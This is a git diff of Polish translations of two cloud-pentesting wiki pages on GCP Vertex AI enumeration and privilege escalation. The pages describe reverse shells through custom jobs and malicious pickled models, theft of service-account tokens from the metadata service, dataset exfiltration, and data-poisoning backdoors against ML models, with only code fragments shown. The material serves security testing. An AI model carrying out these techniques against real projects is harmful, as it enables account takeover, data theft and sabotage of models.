przez atakującego (albo custom container, albo Python package). Wskazując uprzywilejowane konto usługi za pomocą flagi `--service-account`, job dziedziczy uprawnienia tego konta usługi. Job uruchamia się na infrastrukturze zarządzanej przez Google z dostępem do GCP metadata service, co umożliwia wydobycie tokenu dostępu OAuth konta usługi. +Mechanizm polega na utworzeniu custom training job, który uruchamia kod kontrolowany przez atakującego (albo custom container, albo Python package). Poprzez wskazanie uprzywilejowanego service account przy pomocy flagi `--service-account`, job dziedziczy uprawnienia tego service account. Job działa na infrastrukturze zarządzanej przez Google z dostępem do GCP metadata service, co umożliwia wydobycie OAuth access token tego service account. -**Wpływ**: Pełna eskalacja uprawnień do poziomu uprawnień docelowego konta usługi. +**Wpływ**: Pełna eskalacja uprawnień do poziomu docelowego service account.
-Create custom job with reverse shell +Utwórz custom job z reverse shell ```bash # Method 1: Reverse shell to attacker-controlled server (most direct access) gcloud ai custom-jobs create \ @@ -68,14 +74,14 @@ gcloud ai custom-jobs stream-logs --region= ### `aiplatform.models.upload`, `aiplatform.models.get` -Ta technika umożliwia eskalację uprawnień poprzez przesłanie modelu do Vertex AI, a następnie wykorzystanie tego modelu do wykonania kodu z podwyższonymi uprawnieniami poprzez wdrożenie endpointu lub uruchomienie zadania batch prediction. +Ta technika pozwala na eskalację uprawnień poprzez przesłanie modelu do Vertex AI, a następnie wykorzystanie tego modelu do uruchomienia kodu z podwyższonymi uprawnieniami poprzez endpoint deployment lub batch prediction job. > [!NOTE] -> Aby przeprowadzić ten atak potrzebny jest GCS bucket dostępny do odczytu dla wszystkich lub trzeba utworzyć nowy, aby przesłać artefakty modelu. +> Aby przeprowadzić ten atak potrzebny jest world readable GCS bucket lub utworzenie nowego, aby przesłać artefakty modelu.
-Upload malicious pickled model with reverse shell +Prześlij złośliwy pickled model z reverse shell ```bash # Method 1: Upload malicious pickled model (triggers on deployment, not prediction) # Create malicious sklearn model that executes reverse shell when loaded @@ -111,7 +117,7 @@ gcloud ai models upload \
-Prześlij model z container reverse shell +Prześlij model z reverse shell w kontenerze ```bash # Method 2 using --container-args to run a persistent reverse shell @@ -143,16 +149,16 @@ gcloud ai models upload \
> [!DANGER] -> Po przesłaniu złośliwego modelu atakujący może poczekać, aż ktoś użyje modelu, lub uruchomić model samodzielnie poprzez wdrożenie na endpoint lub zadanie wsadowej predykcji. +> Po przesłaniu złośliwego modelu atakujący może poczekać, aż ktoś użyje modelu, lub uruchomić model samodzielnie poprzez wdrożenie na endpoint lub wsadowe zadanie predykcji. -#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` ) +#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) lub ( `aiplatform.endpoints.setIamPolicy` ) -Jeśli masz uprawnienia do tworzenia i wdrażania modeli na endpointy lub do modyfikowania zasad IAM endpointów, możesz wykorzystać przesłane złośliwe modele w projekcie do eskalacji uprawnień. Aby wywołać jeden z wcześniej przesłanych złośliwych modeli za pośrednictwem endpointu, wystarczy: +Jeżeli masz uprawnienia do tworzenia i wdrażania modeli do endpointów lub modyfikowania polityk IAM endpointu, możesz wykorzystać przesłane złośliwe modele w projekcie do eskalacji uprawnień. Aby wywołać jeden z wcześniej przesłanych złośliwych modeli przez endpoint, wystarczy:
-Wdróż złośliwy model na endpoint +Wdrożenie złośliwego modelu do endpointu ```bash # Create an endpoint gcloud ai endpoints create \ @@ -173,14 +179,16 @@ gcloud ai endpoints deploy-model \ #### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs` -Jeśli masz uprawnienia do tworzenia **batch prediction jobs** i uruchamiania ich przy użyciu service account, możesz uzyskać dostęp do metadata service. Złośliwy kod wykonuje się z poziomu **custom prediction container** lub **malicious model** podczas procesu batch prediction. +Jeśli masz uprawnienia do tworzenia **batch prediction jobs** i uruchamiania ich przy użyciu service account, możesz uzyskać dostęp do metadata service. Złośliwy kod wykonuje się z **custom prediction container** lub **malicious model** podczas procesu batch prediction. + +**Uwaga**: Batch prediction jobs można tworzyć tylko przez REST API lub Python SDK (brak wsparcia gcloud CLI). > [!NOTE] -> Ten atak wymaga najpierw przesłania malicious model (zob. sekcję `aiplatform.models.upload` powyżej) lub użycia custom prediction container z twoim reverse shell code. +> Ten atak wymaga najpierw przesłania malicious model (zobacz sekcję `aiplatform.models.upload` powyżej) lub użycia custom prediction container z Twoim reverse shell code.
-Utwórz batch prediction job z malicious model +Utwórz batch prediction job przy użyciu malicious model ```bash # Step 1: Upload a malicious model with custom prediction container that executes reverse shell gcloud ai models upload \ @@ -236,10 +244,10 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R ### `aiplatform.models.export` -Jeśli masz uprawnienie **models.export**, możesz wyeksportować artefakty modelu do GCS bucket, którym zarządzasz, potencjalnie uzyskując dostęp do wrażliwych danych treningowych lub plików modelu. +Jeśli masz uprawnienie **models.export**, możesz eksportować artefakty modelu do GCS bucket, który kontrolujesz, potencjalnie uzyskując dostęp do wrażliwych danych treningowych lub plików modelu. > [!NOTE] -> Aby przeprowadzić ten atak, potrzebny jest GCS bucket dostępny do odczytu i zapisu dla wszystkich lub trzeba utworzyć nowy, aby przesłać artefakty modelu. +> Aby przeprowadzić ten atak, wymagany jest GCS bucket z publicznym dostępem do odczytu i zapisu lub możliwość utworzenia nowego, aby przesłać artefakty modelu.
@@ -270,16 +278,16 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./ ### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs` -Utwórz **ML pipeline jobs**, które wykonują wiele etapów przy użyciu dowolnych kontenerów i umożliwiają privilege escalation poprzez reverse shell access. +Utwórz **ML pipeline jobs**, które wykonują wiele kroków z dowolnymi kontenerami i umożliwiają privilege escalation przez dostęp za pomocą reverse shell. -Pipelines są szczególnie skuteczne w privilege escalation, ponieważ obsługują multi-stage attacks, w których każdy komponent może używać różnych kontenerów i konfiguracji. +Pipelines są szczególnie przydatne do privilege escalation, ponieważ obsługują ataki wieloetapowe, w których każdy komponent może używać różnych kontenerów i konfiguracji. > [!NOTE] -> Potrzebujesz world writable GCS bucket, aby użyć go jako pipeline root. +> Potrzebny jest GCS bucket z uprawnieniami zapisu dla wszystkich (world writable), który posłuży jako pipeline root.
-Install Vertex AI SDK +Zainstaluj Vertex AI SDK ```bash # Install the Vertex AI SDK first pip install google-cloud-aiplatform @@ -382,15 +390,15 @@ print(f" {response.text}") ### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs` -Twórz **zadania strojenia hiperparametrów**, które uruchamiają dowolny kod z podwyższonymi uprawnieniami przy użyciu niestandardowych kontenerów treningowych. +Utwórz **hyperparameter tuning jobs**, które uruchamiają dowolny kod z podwyższonymi uprawnieniami przy użyciu custom training containers. -Zadania strojenia hiperparametrów pozwalają uruchomić wiele prób treningowych równolegle, z różnymi wartościami hiperparametrów. Poprzez wskazanie złośliwego kontenera zawierającego reverse shell lub exfiltration command i powiązanie go z uprzywilejowanym service account, można osiągnąć privilege escalation. +Hyperparameter tuning jobs pozwalają uruchomić wiele prób treningowych równolegle, każdą z innymi wartościami hiperparametrów. Wskazując złośliwy kontener zawierający reverse shell lub komendę do exfiltration i powiązując go z uprzywilejowanym service account, można uzyskać eskalację uprawnień. -**Impact**: Pełna privilege escalation do uprawnień docelowego service account. +**Wpływ**: Pełna eskalacja uprawnień do poziomu uprawnień docelowego service account.
-Utwórz zadanie strojenia hiperparametrów z reverse shellem +Utwórz hyperparameter tuning job z reverse shell ```bash # Method 1: Python reverse shell (most reliable) # Create HP tuning job config with reverse shell @@ -431,15 +439,15 @@ gcloud ai hp-tuning-jobs create \ ### `aiplatform.datasets.export` -Eksportuj **datasets** w celu exfiltrate danych treningowych, które mogą zawierać wrażliwe informacje. +Eksport **datasets** w celu exfiltrate training data, które mogą zawierać wrażliwe informacje. -**Uwaga**: operacje na datasetach wymagają REST API lub Python SDK (brak wsparcia gcloud CLI dla datasets). +**Uwaga**: operacje na datasets wymagają REST API lub Python SDK (brak wsparcia gcloud CLI dla datasets). -Datasets często zawierają oryginalne dane treningowe, które mogą obejmować PII, poufne dane biznesowe lub inne wrażliwe informacje użyte do trenowania modeli produkcyjnych. +Datasety często zawierają oryginalne training data, które mogą obejmować PII, poufne dane biznesowe lub inne wrażliwe informacje wykorzystane do trenowania modeli produkcyjnych.
-Eksport datasetu w celu exfiltrate danych treningowych +Eksport datasetu w celu exfiltrate training data ```bash # Step 1: List available datasets to find a target dataset ID PROJECT="your-project" @@ -488,25 +496,25 @@ cat exported-data/*/data-*.jsonl ### `aiplatform.datasets.import` -Importuj złośliwe lub zatrute dane do istniejących zbiorów danych, aby **manipulować treningiem modelu i wprowadzać backdoors**. +Importuj złośliwe lub zatrute dane do istniejących zestawów danych, aby **manipulować treningiem modelu i wprowadzać backdoors**. -**Uwaga**: Operacje na zbiorach danych wymagają REST API lub Python SDK (brak wsparcia gcloud CLI dla zbiorów danych). +**Note**: Operacje na zestawach danych wymagają REST API lub Python SDK (brak wsparcia gcloud CLI dla zestawów danych). -Poprzez importowanie spreparowanych danych do zbioru danych używanego do trenowania modeli ML, atakujący może: -- Wprowadzić backdoors do modeli (błędna klasyfikacja wywoływana triggerem) -- Zatrucie danych treningowych w celu pogorszenia wydajności modelu -- Wstrzyknąć dane, aby modele zaczęły leakować informacje +Importując spreparowane dane do zestawu danych używanego do trenowania modeli ML, atakujący może: +- Wprowadzić backdoors do modeli (błędna klasyfikacja wywoływana przez trigger) +- Zatrutać dane treningowe, aby pogorszyć wydajność modelu +- Wstrzyknąć dane powodujące, że modele będą leak information - Manipulować zachowaniem modelu dla określonych wejść -Ten atak jest szczególnie skuteczny w przypadku celowania w zbiory danych używane do: -- Klasyfikacja obrazów (wstrzyknięcie błędnie oznaczonych obrazów) -- Klasyfikacja tekstu (wstrzyknięcie stronniczego lub złośliwego tekstu) -- Wykrywanie obiektów (manipulowanie ramkami ograniczającymi) -- Systemy rekomendacji (wstrzyknięcie fałszywych preferencji) +Ten atak jest szczególnie skuteczny przy celowaniu w zestawy danych używane do: +- Klasyfikacji obrazów (wstrzyknięcie błędnie oznaczonych obrazów) +- Klasyfikacji tekstu (wstrzyknięcie tendencyjnego lub złośliwego tekstu) +- Wykrywania obiektów (manipulacja ramkami ograniczającymi) +- Systemów rekomendacyjnych (wstrzyknięcie fałszywych preferencji)
-Importuj zatrute dane do zbioru danych +Importuj zatrute dane do zestawu danych ```bash # Step 1: List available datasets to find target PROJECT="your-project" @@ -567,7 +575,7 @@ curl -s -X GET \
-Backdoor attack - klasyfikacja obrazów +Backdoor attack - Klasyfikacja obrazów ```bash # Scenario 1: Backdoor Attack - Image Classification # Create images with a specific trigger pattern that causes misclassification @@ -580,7 +588,7 @@ gsutil cp backdoor.jsonl gs://your-bucket/attacks/
-Atak odwracania etykiet +Label flipping attack ```bash # Scenario 2: Label Flipping Attack # Systematically mislabel a subset of data to degrade model accuracy @@ -594,7 +602,7 @@ done > label_flip.jsonl
-Data poisoning dla model extraction +Data poisoning for model extraction ```bash # Scenario 3: Data Poisoning for Model Extraction # Inject carefully crafted queries to extract model behavior @@ -608,7 +616,7 @@ EOF
-Atak ukierunkowany na konkretne podmioty +Atak ukierunkowany na określone podmioty ```bash # Scenario 4: Targeted Attack on Specific Entities # Poison data to misclassify specific individuals or objects @@ -621,34 +629,35 @@ EOF
> [!DANGER] -> Data poisoning attacks mogą mieć poważne konsekwencje: -> - **Security systems**: obejście rozpoznawania twarzy lub wykrywania anomalii -> - **Fraud detection**: wyszkolenie modeli do ignorowania określonych wzorców oszustw -> - **Content moderation**: spowodowanie sklasyfikowania szkodliwych treści jako bezpiecznych -> - **Medical AI**: błędna klasyfikacja krytycznych stanów zdrowotnych -> - **Autonomous systems**: manipulowanie wykrywaniem obiektów przy podejmowaniu decyzji kluczowych dla bezpieczeństwa - -**Impact**: -- Modele z backdoorem, które błędnie klasyfikują przy określonych wyzwalaczach -- Obniżona wydajność i dokładność modeli -- Stronnicze modele dyskryminujące określone dane wejściowe -- Ujawnianie informacji przez zachowanie modelu -- Długotrwała trwałość (modele wytrenowane na zatrutych danych odziedziczą backdoor) +> Data poisoning attacks can have severe consequences: +> - **Systemy bezpieczeństwa**: Obejście rozpoznawania twarzy lub wykrywania anomalii +> - **Wykrywanie oszustw**: Wyszkolenie modeli, aby ignorowały konkretne wzorce oszustw +> - **Moderacja treści**: Spowodowanie, że szkodliwe treści zostaną sklasyfikowane jako bezpieczne +> - **Sztuczna inteligencja medyczna**: Błędna klasyfikacja krytycznych stanów zdrowotnych +> - **Systemy autonomiczne**: Manipulowanie wykrywaniem obiektów dla decyzji krytycznych dla bezpieczeństwa +> +> **Wpływ**: +> - Backdoored models that misclassify on specific triggers +> - Obniżona wydajność i dokładność modelu +> - Uprzedzone modele, które dyskryminują określone dane wejściowe +> - Information leakage through model behavior +> - Długotrwała persystencja (models trained on poisoned data will inherit the backdoor) +> ### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs` > [!WARNING] > > [!NOTE] -> **Przestarzałe API**: API `aiplatform.notebookExecutionJobs.create` jest przestarzałe w ramach deprecjacji Vertex AI Workbench Managed Notebooks. Nowe podejście to użycie **Vertex AI Workbench Executor**, który uruchamia notebooks przez `aiplatform.customJobs.create` (opisane powyżej). -> Vertex AI Workbench Executor pozwala na harmonogramowanie uruchomień notebooków, które wykonują się na infrastrukturze treningowej Vertex AI z określonym service account. To w zasadzie wygodny wrapper wokół `customJobs.create`. -> **For privilege escalation via notebooks**: Użyj metody `aiplatform.customJobs.create` opisanej powyżej — jest szybsza, bardziej niezawodna i korzysta z tej samej infrastruktury co Workbench Executor. +> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API is deprecated as part of Vertex AI Workbench Managed Notebooks deprecation. The modern approach is using **Vertex AI Workbench Executor** which runs notebooks through `aiplatform.customJobs.create` (already documented above). +> The Vertex AI Workbench Executor allows scheduling notebook runs that execute on Vertex AI custom training infrastructure with a specified service account. This is essentially a convenience wrapper around `customJobs.create`. +> **For privilege escalation via notebooks**: Use the `aiplatform.customJobs.create` method documented above, which is faster, more reliable, and uses the same underlying infrastructure as the Workbench Executor. -**Poniższa technika jest podana wyłącznie w kontekście historycznym i nie jest zalecana do stosowania w nowych testach.** +**Poniższa technika podana jest jedynie w kontekście historycznym i nie jest zalecana do użycia w nowych ocenach.** -Utwórz **notebook execution jobs**, które uruchamiają Jupyter notebooks z dowolnym kodem. +Twórz **notebook execution jobs**, które uruchamiają Jupyter notebooks z dowolnym kodem. -Zadania notebooków są idealne do interaktywnego wykonywania kodu z użyciem service account, ponieważ obsługują komórki z kodem Python oraz polecenia powłoki. +Notebook jobs są idealne do interaktywnego wykonywania kodu z użyciem service account, ponieważ obsługują komórki kodu Python i polecenia shell.
@@ -679,7 +688,7 @@ gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
-Uruchom notebook z docelowym kontem usługi +Wykonaj notebook przy użyciu docelowego konta usługi ```bash # Create notebook execution job using REST API PROJECT="gcp-labs-3uis1xlx" diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md index 755640486..a7883943b 100644 --- a/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md @@ -4,59 +4,67 @@ ## Vertex AI -[Vertex AI](https://cloud.google.com/vertex-ai) jest Google Cloud's **zintegrowaną platformą uczenia maszynowego** do budowania, wdrażania i zarządzania modelami AI na dużą skalę. Łączy różne usługi AI i ML w jednej, zintegrowanej platformie, umożliwiając data scientistom i inżynierom ML: +[Vertex AI](https://cloud.google.com/vertex-ai) to zunifikowana platforma machine learning Google Cloud do budowania, wdrażania i zarządzania modelami AI w skali. Łączy różne usługi AI i ML w jedną, zintegrowaną platformę, umożliwiając data scientistom i inżynierom ML: -- **Trenować niestandardowe modele** przy użyciu AutoML lub niestandardowego treningu -- **Wdrażać modele** do skalowalnych punktów końcowych w celu uzyskiwania predykcji -- **Zarządzać cyklem życia ML** od eksperymentów do produkcji -- **Uzyskać dostęp do wstępnie wytrenowanych modeli** z Model Garden -- **Monitorować i optymalizować** wydajność modeli +- Trenowanie własnych modeli za pomocą AutoML lub custom training +- Wdrażanie modeli na skalowalnych endpointach do predykcji +- Zarządzanie cyklem życia ML od eksperymentów do produkcji +- Dostęp do pre-trained models z Model Garden +- Monitorowanie i optymalizację wydajności modeli + +### Agent Engine / Reasoning Engine + +W przypadku Agent Engine / Reasoning Engine, aby uzyskać specyficzną enumerację i ścieżki post-exploitation związane z **metadata credential theft**, **P4SA abuse**, oraz **producer/tenant project pivoting**, sprawdź: + +{{#ref}} +../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md +{{#endref}} ### Kluczowe komponenty -#### Modele +#### Models -Vertex AI **modele** reprezentują wytrenowane modele uczenia maszynowego, które można wdrożyć na punktach końcowych do serwowania predykcji. Modele mogą być: +Vertex AI **models** reprezentują wytrenowane modele machine learning, które można wdrożyć na endpoints do serwowania predykcji. Modele mogą być: -- **Wgrywane** z niestandardowych kontenerów lub artefaktów modelu -- Tworzone przez szkolenie **AutoML** -- Importowane z **Model Garden** (modele wstępnie wytrenowane) -- **Wersjonowane** z wieloma wersjami dla jednego modelu +- **Uploaded** z custom containers lub model artifacts +- Tworzone przez **AutoML** training +- Importowane z **Model Garden** (pre-trained models) +- **Versioned** z wieloma wersjami na model -Każdy model posiada metadane, w tym informacje o frameworku, URI obrazu kontenera, lokalizacji artefaktu oraz konfiguracji serwowania. +Każdy model ma metadane, w tym framework, container image URI, lokalizację artifactów i konfigurację serwowania. -#### Punkty końcowe +#### Endpoints -**Punkty końcowe** to zasoby, które hostują wdrożone modele i obsługują predykcje online. Kluczowe cechy: +**Endpoints** to zasoby hostujące wdrożone modele i serwujące predykcje online. Kluczowe cechy: -- Mogą hostować **wiele wdrożonych modeli** (z dzieleniem ruchu) -- Zapewniają **HTTPS endpoints** dla predykcji w czasie rzeczywistym -- Wspierają **autoskalowanie** w zależności od ruchu -- Mogą używać **prywatnego** lub **publicznego** dostępu -- Wspierają **testy A/B** poprzez dzielenie ruchu +- Mogą hostować **wiele wdrożonych modeli** (z rozdzielaniem ruchu) +- Zapewniają **HTTPS endpoints** do predykcji w czasie rzeczywistym +- Wspierają **autoscaling** w oparciu o ruch +- Mogą używać dostępu **prywatnego** lub **publicznego** +- Wspierają **A/B testing** poprzez rozdzielanie ruchu #### Custom Jobs -**Custom jobs** pozwalają uruchamiać niestandardowy kod treningowy używając własnych kontenerów lub pakietów Python. Funkcje obejmują: +**Custom jobs** pozwalają uruchamiać własny kod treningowy używając własnych kontenerów lub pakietów Python. Funkcje obejmują: -- Wsparcie dla **distributed training** z wieloma pulami workerów -- Konfigurowalne **machine types** i **accelerators (GPUs/TPUs)** -- Dołączenie **Service account** do uzyskiwania dostępu do innych zasobów GCP -- Integracja z **Vertex AI Tensorboard** do wizualizacji +- Wsparcie dla **distributed training** z wieloma worker poolami +- Konfigurowalne **machine types** i **accelerators** (GPU/TPU) +- Dołączanie **service account** do dostępu do innych zasobów GCP +- Integrację z **Vertex AI Tensorboard** do wizualizacji - Opcje **VPC connectivity** #### Hyperparameter Tuning Jobs -Zadania te automatycznie **wyszukują optymalne hiperparametry**, uruchamiając wiele prób treningowych z różnymi kombinacjami parametrów. +Te joby automatycznie wyszukują optymalne hyperparametry, uruchamiając wiele prób treningowych z różnymi kombinacjami parametrów. #### Model Garden -**Model Garden** zapewnia dostęp do: +**Model Garden** daje dostęp do: -- Wstępnie wytrenowanych modeli Google -- Modeli open-source (w tym Hugging Face) -- Modeli firm trzecich -- Możliwości wdrożenia jednym kliknięciem +- Pre-trained Google models +- Open-source models (w tym Hugging Face) +- Third-party models +- Możliwości one-click deployment #### Tensorboards @@ -64,38 +72,38 @@ Zadania te automatycznie **wyszukują optymalne hiperparametry**, uruchamiając ### Service Accounts & Permissions -Domyślnie usługi Vertex AI używają **Compute Engine default service account** (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`), które mają uprawnienia **Editor** w projekcie. Jednak można określić niestandardowe service accounts przy: +Domyślnie usługi Vertex AI używają **Compute Engine default service account** (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`), które ma uprawnienia **Editor** w projekcie. Jednak można określić custom service accounts przy: - Tworzeniu custom jobs -- Wgrywaniu modeli -- Wdrażaniu modeli na punktach końcowych +- Uploadowaniu modeli +- Wdrażaniu modeli na endpoints -To konto usługowe jest używane do: -- Dostępu do danych treningowych w Cloud Storage -- Zapisu logów do Cloud Logging +To konto usługi jest używane do: +- Dostępu do training data w Cloud Storage +- Zapisywania logów do Cloud Logging - Dostępu do sekretów z Secret Manager - Interakcji z innymi usługami GCP -### Przechowywanie danych +### Data Storage -- **Artefakty modeli** są przechowywane w bucketach Cloud Storage -- **Dane treningowe** zazwyczaj znajdują się w Cloud Storage lub BigQuery -- **Obrazy kontenerów** są przechowywane w Artifact Registry lub Container Registry -- **Logi** są wysyłane do Cloud Logging -- **Metryki** są wysyłane do Cloud Monitoring +- **Model artifacts** są przechowywane w bucketach **Cloud Storage** +- **Training data** zazwyczaj znajduje się w Cloud Storage lub BigQuery +- **Container images** są przechowywane w **Artifact Registry** lub Container Registry +- **Logs** są wysyłane do **Cloud Logging** +- **Metrics** są wysyłane do **Cloud Monitoring** -### Szyfrowanie +### Encryption Domyślnie Vertex AI używa **Google-managed encryption keys**. Możesz również skonfigurować: - **Customer-managed encryption keys (CMEK)** z Cloud KMS -- Szyfrowanie ma zastosowanie do artefaktów modeli, danych treningowych i punktów końcowych +- Szyfrowanie obejmuje model artifacts, training data i endpoints -### Sieć +### Networking Zasoby Vertex AI można skonfigurować dla: -- **Publicznego dostępu do internetu** (domyślnie) +- **Public internet access** (domyślnie) - **VPC peering** dla prywatnego dostępu - **Private Service Connect** dla bezpiecznej łączności - Wsparcia **Shared VPC** @@ -183,7 +191,7 @@ gcloud ai endpoints describe --region= --format="value(dep # Check traffic split between models gcloud ai endpoints describe --region= --format="value(trafficSplit)" ``` -### Informacje o Custom Job +### Informacje o niestandardowym zadaniu ```bash # Get job details including command, args, and service account gcloud ai custom-jobs describe --region= @@ -215,7 +223,7 @@ gcloud projects get-iam-policy \ --flatten="bindings[].members" \ --filter="bindings.role:aiplatform.user" ``` -### Przechowywanie i Artefakty +### Przechowywanie i artefakty ```bash # Models and training jobs often store artifacts in GCS # List buckets that might contain model artifacts @@ -241,14 +249,20 @@ gcloud ai endpoints list --list-model-garden-endpoints-only --region= # Model Garden models are often deployed with default configurations # Check for publicly accessible endpoints ``` -### Eskalacja uprawnień +### Privilege Escalation -Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień Vertex AI, aby uzyskać wyższe uprawnienia**: +Na poniższej stronie możesz sprawdzić, jak **abuse Vertex AI permissions to escalate privileges**: {{#ref}} ../gcp-privilege-escalation/gcp-vertex-ai-privesc.md {{#endref}} +### Post Exploitation + +{{#ref}} +../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md +{{#endref}} + ## Źródła - [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)